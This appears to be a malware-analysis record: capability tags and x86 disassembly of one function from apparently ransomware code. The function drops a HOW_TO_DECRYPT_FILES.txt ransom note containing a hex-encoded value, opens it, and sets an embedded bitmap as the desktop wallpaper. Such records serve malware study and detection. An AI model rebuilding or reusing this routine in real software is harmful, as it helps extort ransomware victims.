Function at 0x401350
Capabilities:
Change the wallpaper
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push ebx
push ecx
push edx
push 1
push 0x10
push 0x404564
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
or eax, eax
jne 0x401372
pop edx
pop ecx
pop ebx
leave
ret
push 0x404564
call sub.KERNEL32.DLL_lstrlenA
mov al, byte [eax + 0x404564]
cmp al, 0x5c
je 0x401395
push 0x403051
push 0x404564
call sub.KERNEL32.DLL_lstrcatA
push str.HOW_TO_DECRYPT_FILES.txt
push 0x404564
call sub.KERNEL32.DLL_lstrcatA
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push 0x404564
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x4013c7
pop edx
pop ecx
pop ebx
leave
ret
mov dword [ebp - 4], eax
push 0
push 0
push 0
push dword [ebp - 4]
call sub.KERNEL32.DLL_SetFilePointer
push dword [0x404488]
call sub.KERNEL32.DLL_lstrlenA
xchg ecx, eax
push 0
lea eax, [ebp - 0xc]
push eax
push ecx
push dword [0x404488]
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
push 0x403058
push 0x405064
call sub.KERNEL32.DLL_lstrcpyA
mov ecx, dword [0x4044cc]
mov ebx, dword [0x4044c8]
push ecx
xor edx, edx
mov eax, ecx
mov ecx, 0x40
div ecx
or edx, edx
jne 0x401433
push 0x403058
push 0x405064
call sub.KERNEL32.DLL_lstrcatA
movzx eax, byte [ebx]
add ebx, 1
push eax
push str._02X
lea eax, [ebp - 0x10]
push eax
call sub.user32.dll_wsprintfA
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push 0x405064
call sub.KERNEL32.DLL_lstrcatA
pop ecx
loop 0x401414
push 0x405064
call sub.KERNEL32.DLL_lstrlenA
xchg ecx, eax
push 0
lea eax, [ebp - 0xc]
push eax
push ecx
push 0x405064
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
push 5
push 0
push 0
push 0x404564
push 0
push 0
call sub.shell32.dll_ShellExecuteA
movzx eax, byte [0x404490]
cmp eax, 1
jne 0x4015d8
mov ecx, 0x10
mov edi, 0x404f64
push ecx
push edi
rdtsc
pop edi
pop ecx
and eax, 0xf0
shr eax, 4
add eax, 0x61
stosb byte es:[edi], al
loop 0x4014b1
xor eax, eax
stosb byte es:[edi], al
push str..bmp
push 0x404f64
call sub.KERNEL32.DLL_lstrcatA
push 0x404a64
push 0x500
call sub.KERNEL32.DLL_GetTempPathA
push 0x404a64
call sub.KERNEL32.DLL_lstrlenA
add eax, 0x404a64
mov al, byte [eax - 1]
cmp al, 0x5c
je 0x40150b
push 0x403051
push 0x404a64
call sub.KERNEL32.DLL_lstrcatA
push 0x404f64
push 0x404a64
call sub.KERNEL32.DLL_lstrcatA
push 2
push str.wall
push 0
call sub.KERNEL32.DLL_FindResourceA
or eax, eax
jne 0x401531
pop edx
pop ecx
pop ebx
leave
ret
mov dword [ebp - 0x1c], eax
push eax
push 0
call sub.KERNEL32.DLL_SizeofResource
or eax, eax
jne 0x401545
pop edx
pop ecx
pop ebx
leave
ret
mov dword [ebp - 0x20], eax
push dword [ebp - 0x1c]
push 0
call sub.KERNEL32.DLL_LoadResource
or eax, eax
jne 0x40155b
pop edx
pop ecx
pop ebx
leave
ret
mov dword [ebp - 0x18], eax
push eax
call sub.KERNEL32.DLL_LockResource
or eax, eax
jne 0x40156d
pop edx
pop ecx
pop ebx
leave
ret
mov dword [ebp - 0x14], eax
mov ebx, eax
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push 0x404a64
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x401595
pop edx
pop ecx
pop ebx
leave
ret
mov dword [ebp - 8], eax
push 0
push 0
push 0
push dword [ebp - 8]
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x20]
push ebx
push dword [ebp - 8]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 8]
call sub.KERNEL32.DLL_CloseHandle
push 3
push 0x404a64
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_FreeResource
pop edx
pop ecx
pop ebx
leave
ret